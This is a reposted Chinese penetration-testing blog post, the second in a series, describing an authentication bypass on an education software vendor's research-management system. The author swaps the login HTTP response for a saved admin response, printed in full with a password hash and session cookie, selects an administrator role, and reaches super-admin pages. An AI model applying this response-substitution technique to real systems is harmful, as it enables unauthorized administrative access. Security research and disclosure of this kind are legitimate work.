【渗透实战】记一次针对一个edu厂商的相爱相杀(二)

admin 2023年10月28日23:34:55评论10 views字数 2105阅读7分1秒阅读模式

注:本文中提到的漏洞验证 poc 或工具仅用于授权测试,任何未经授权的测试均属于非法行为。任何人不得利用本文中的技术手段或工具进行非法攻击和侵犯他人的隐私和财产权利。一旦发生任何违法行为,责任自负。

上次针对这家软件公司的系统做了一次渗透测试之后,我觉得他们家产品肯定还有漏洞,于是在前段时间我又去摸了一遍他们系统,果然又有了产出,虽然没什么太复杂的技术难度。
访问漏洞地址http://xx.xx.xx.xx/login.html,随意输入账号密码,点击提交利用burp抓包,不改包直接发送请求抓取返回包进行替换,这里的返回包是之前第一次挖这个厂商之后搜索发现有几个相同模板站点保存的包。
HTTP/1.1 200 OKServer: nginx/1.22.1Date: Wed, 14 Jun 2023 13:23:43 GMTContent-Type: application/jsonContent-Length: 47114Connection: closeX-Frame-Options: DENYVary: CookieX-Content-Type-Options: nosniffReferrer-Policy: same-originSet-Cookie: sessionid=7jx0s7b5jyrvecvam2iazqjzox44t0pe; expires=Wed, 28 Jun 2023 13:23:43 GMT; HttpOnly; Max-Age=1209600; Path=/; SameSite=Lax

{"code": 0, "data": {"ID": 1, "NAME": "u7ba1u7406u5458", "USERNAME": "admin", "PASSWORD": "cfcd208495d565ef66e7dff9f98764da", "OID": 2, "OCODE": null, "ONAME": "u603bu52a1u5904", "MOID": 2, "MOCODE": null, "MONAME": "u603bu52a1u5904", "MRID": null, "MRNAME": null, "TYPE_CODE": null, "TYPE_NAME": null, "POSITION": null, "ACADEMIC": "u9ad8u7ea7u5de5u7a0bu5e08", "ACADEMIC_LEVEL": "10", "EDUCATION": "u535au58ebu540e", "DEGREE": "u535au58eb", "DRG_STUDING": 0, "SCHOOL": null, "MAJOR": null, "POLITICS": "u4e2du5171u515au5458", "SUBJECT": null, "DIS_ID1": 95, "DISCIPLINE1": "u5730u7403u79d1u5b66", "DIS_ID2": 104, "DISCIPLINE2": "u5730u8d28u5b66", "DIS_ID3": null, "DISCIPLINE3": null, "HONORARY": null, "BIRTHDAY": "2022-06-24", "GENDER": "1", "CARDNO": null, "ADDRESS": null, "POSTCODE": null, "TELEPHONE": null, "MOBILE": "12313124553532", "EMAIL": null, "QQ": null, "WEIXIN": null, "SIGNATURE": null, "PHOTO": null, "BANK_INFO": null, "TOKEN": null, "STATUS": null, "WORK_TYPE": null, "LOGIN_TIMES": null, "LOGIN_IP": "127.0.0.1", "LOGIN_TIME": "2022-12-12T13:53:41", "LOGIN_BROWSER": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "CODE": null, "SPEC": null, "ADDSRC": null, "NATION": null, "WEIXIN_OPENID": null, "SFZ": null, "PT_USER_ID": null, "JOID": null.....}
替换完后放包,可以看到可以选择四种角色,因为复制的其他科研信息管理系统站点返回包,把前端页面搬过来了,所以无需在意这里的角色存不存在,管理员肯定是存在的,别问我为什么知道,因为这个站点之前都已经穿了,直接选择管理员,抓包

【渗透实战】记一次针对一个edu厂商的相爱相杀(二)

可以看到直接跳到/XXX/NcUserAPI/initRole接口,底下rid=1表示科研管理员角色

【渗透实战】记一次针对一个edu厂商的相爱相杀(二)

直接放包即可进入管理员权限页面,获取超管权限。

【渗透实战】记一次针对一个edu厂商的相爱相杀(二)

还有后续,下次再给大家叙述。

【渗透实战】记一次针对一个edu厂商的相爱相杀(二)
喜欢就关注我吧,订阅更多最新消息

原文始发于微信公众号(扫地僧的茶饭日常):【渗透实战】记一次针对一个edu厂商的相爱相杀(二)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月28日23:34:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透实战】记一次针对一个edu厂商的相爱相杀(二)https://cn-sec.com/archives/2155807.html

发表评论

匿名网友 填写信息